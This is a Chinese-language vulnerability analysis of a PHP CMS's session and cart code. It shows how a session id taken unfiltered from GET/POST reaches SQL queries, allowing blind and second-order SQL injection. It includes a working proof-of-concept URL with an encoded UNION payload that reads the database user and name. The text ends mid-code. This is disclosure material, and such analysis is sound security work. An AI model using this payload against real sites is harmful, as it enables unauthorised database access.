网站在初始化的时候会装载一些资源引擎,其中装载了一个session_file.php,用于初始化session
文件framework/engine/session/file.php: function __construct($config) { if(!$config || !is_array($config)) { $config["id"] = "PHPSESSID"; $config["path"] = "./data/session/"; $config["timeout"] = 3600; } $this->config($config); $sid = $config["id"] ? $config["id"] : "PHPSESSION"; session_name($sid); $this->sid = $sid; $session_id = isset($_POST[$sid]) ? $_POST[$sid] : (isset($_GET[$sid]) ? $_GET[$sid] : ""); if($session_id) { session_id($session_id); $this->sessid = $session_id; } else { $this->sessid = session_id(); } session_save_path($config["path"]); $this->config = $config; $this->timeout = $config["timeout"] ? $config["timeout"] : 600; session_cache_expire(intval($this->timeout)/60); session_cache_limiter('public'); session_start(); }
$session_id = isset($_POST[$sid]) ? $_POST[$sid] : (isset($_GET[$sid]) ? $_GET[$sid] : ""); 这里$session_id 直接从get或者post中获取,没有进行任何过滤. $this->sessid = $session_id; 然后保存$session_id。 再看文件framework/www/cart_control.php:
function __construct() { parent::control(); //取得当前的购物车ID $this->cart_id = $this->model('cart')->cart_id($this->session->sessid(),$_SESSION['user_id']); }
这里调用了一个cart_id的方法,其中第一个参数 就是$this->session->sessid()
function sessid($sid="") { if($sid) $this->sessid = $sid; return $this->sessid; }
可以看到 $this->session->sessid() 实际上就是之前的$session_id值。 再看方法cart_id
function cart_id($sessid,$uid=0) { if(!$sessid) return false; $sql = "SELECT id FROM ".$this->db->prefix."cart WHERE session_id='".$sessid."'"; $rs = $this->db->get_one($sql); if(!$rs) { $array = array('session_id'=>$sessid,'user_id'=>$uid,'addtime'=>$this->time); $id = $this->db->insert_array($array,'cart'); } else { $id = $rs['id']; } //如果已经是会员 if($uid) { $sql = "SELECT id FROM ".$this->db->prefix."cart WHERE user_id='".$uid."'"; $rs = $this->db->get_one($sql); if($rs && $rs['id'] != $id) { //合并购物产品信息 $this->cart_merge($rs['id'],$id); //删除旧的购物车信息 $this->delete($rs['id']); } //更新购物车属性 $sql = "UPDATE ".$this->db->prefix."cart SET user_id='".$uid."' WHERE id='".$id."'"; $this->db->query($sql); } return $id; }
$sql = "SELECT id FROM ".$this->db->prefix."cart WHERE session_id='".$sessid."'"; 这里直接将$sessid带入到sql语句中直接,再未开启GPC的情况下,可以实现sql注入。但这里面没有回显,报错也被关闭了,可以利用时间盲注。当然我们还可以利用二次注入,且看下面: 在cart_control.php中:
function index_f() { //取得购物车产品列表 $rslist = $this->model('cart')->get_all($this->cart_id); } function checkout_f() { //echo "<pre>".print_r($this->site,true)."</pre>"; $rslist = $this->model('cart')->get_all($this->cart_id); }
这些方法中都用了$this->model('cart')->get_all($this->cart_id);
function get_all($cart_id) { if(!$cart_id) return false; $sql = "SELECT * FROM ".$this->db->prefix."cart_product WHERE cart_id='".$cart_id."'"; $rslist = $this->db->get_all($sql); if(!$rslist) return false; foreach($rslist AS $key=>$value) { //如果未指定tid,跳过 if(!$value['tid']) continue; $arc_rs = $this->call->phpok("_arc",array("id"=>$value['tid'])); if($arc_rs) { $value = array_merge($arc_rs,$value); $rslist[$key] = $value; } } return $rslist; }
可以看到cart_id带入到了sql语句中,这样二次注入就可以实现了 poc:index.php?c=cart&PHPSESSION=%27%20union%20select%20%27%5C%27%20union%20select%201%2C2%2C3%2Cuser%28%29%2C5%2Cdatabase%28%29%2C7%23%27%23
同样的漏洞还出现在 order_control.php:
class order_control extends phpok_control { function __construct() { parent::control(); //取得当前的购物车ID $this->cart_id = $this->model('cart')->cart_id($this->session->sessid(),$_SESSION['user_id']); }//这里同样的错误,直接带入数据库了 和前面一样的道理 function create_f() { $rslist = $this->model('cart')->get_all($this->cart_id);//这里可以执行二次注入